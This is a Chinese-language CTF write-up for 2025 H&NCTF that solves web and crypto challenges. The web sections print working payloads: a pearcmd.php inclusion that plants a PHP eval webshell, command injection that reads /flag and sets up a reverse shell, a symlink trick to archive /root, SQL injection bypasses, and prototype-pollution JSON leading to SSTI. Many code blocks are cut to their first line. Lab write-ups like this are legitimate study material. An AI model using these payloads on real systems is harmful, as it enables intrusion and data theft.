2025H&NCTF WP
Web
DeceptiFlag
抓包就能看到还要一个参数 Lang
根据图上的角色,可以知道qaq=xiyangyang
,Lang=huitailang
来到/tips.php
页面,发现一个参数file=
通过报错可以知道用了require_once
,且强制拼接了.php
后缀
发现不能用php伪协议,也不能直接/
开头和用../
,但能用file协议
可以包含pearcmd.php
来写马实现getshell
/tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+test.php |
接着访问test.php
,即可RCE
Really_Ez_Rce
源码
|
intval
用数组绕过
RCE过滤了很多,但没过滤=
和$
,可以用拼接绕过,最后的.
可以裁剪出来
?Number[]=1 |
Watch
程序调用了系统dll来读文件,用windows系统的特性,切换盘符读文件
../??/d:/ |
读key.txt即可
../??/d:/key.txt |
Just Ping Part 1
走的是不逆向的路(
查看页面源码可以看到有两个路由
/api/ping?target= |
在经过偶然性的测试发现,在testDevelopApi
里输入的命令,到ping
里面会执行
这里就猜测,testDevelopApi
接收的命令会覆盖掉ping
里面的预置命令,这个命令就类似下面这种
exec.Command("ping","-c","4" ip) |
这个分割应该是用空格作为分割符的
因此可以实现任意命令执行
/api/testDevelopApi?cmd=cat /flag 123 |
Just Ping Part 2
根据上面Part 1找到的规律,可以反弹shell
/api/testDevelopApi?cmd=sh -c echo${IFS}[反弹shell payload base64]|base64${IFS}-d|sh 123 |
反弹shell后,根据题目给的附件
|
先找backup
文件
find / -name backup |
接着看这个程序,用base64把它弄下来
/api/testDevelopApi?cmd=base64 /usr/local/etc/backup 123 |
简单分析一下,可以知道它实现了一个备份,备份的目录从../backupList
中读取
发现/usr/local/etc/
目录权限是777
,可以用软链接来操作一下
cd /usr/local/etc/&&mkdir test&&mv backup test&&ln -s test/backup backup&&echo '/root'>backupList |
最后用base64去读/var/backups/backup.zip
即可
base64 /var/backups/backup.zip |
flag
ez_php
源码
|
用原生类绕过 hash 函数,去掉最后一个大括号实现fast destruct,从而绕过 throw 异常抛出
|
半成品login
弱口令
admin/admin123 |
发现password那里过滤了单引号,用反斜杠发现报错了,应该能在这里sql注入
经过尝试,发现能用双重url编码绕过
username=admin&password=admin123%2527# |
过滤了select
,那就用table来注入
exp
import requests |
最终得到账号密码
hackernbvag,d8578edf845 |
登陆得到flag
奇怪的咖啡店
题目给的源码并不完全,但可以知道/add
路由能原型链污染
过滤就用unicode编码绕过,先污染_static_folder
实现任意文件读取
{"__globals__" : {"app" : {"_static_folder" : "/"}}} |
接着访问/static/app/app.py
,即可得到最终源码
from flask import Flask, session, request, render_template_string, render_template |
可以知道是打ssti,用原型链污染把param_black_list
和SECRET_KEY
污染掉,最后伪造session即可RCE
{"__globals__" : {"param_black_list" : ["123"]}} |
Crypto
lcgp
先通过lcg求出c,再离散对数求出flag
# sage |
为什么出题人的rsa总是ez
先求出part1
# sage |
接着bubbleBabble
得到e
81733668723981020451323 |
最后求出flag
参考链接:https://blog.s1um4i.com/2024-QWBCTF/#easyrsa
from tqdm import trange |
哈基coke
猫脸变换
import numpy as np |
数据处理
离散对数求出c再全排列爆破即可
from Crypto.Util.number import * |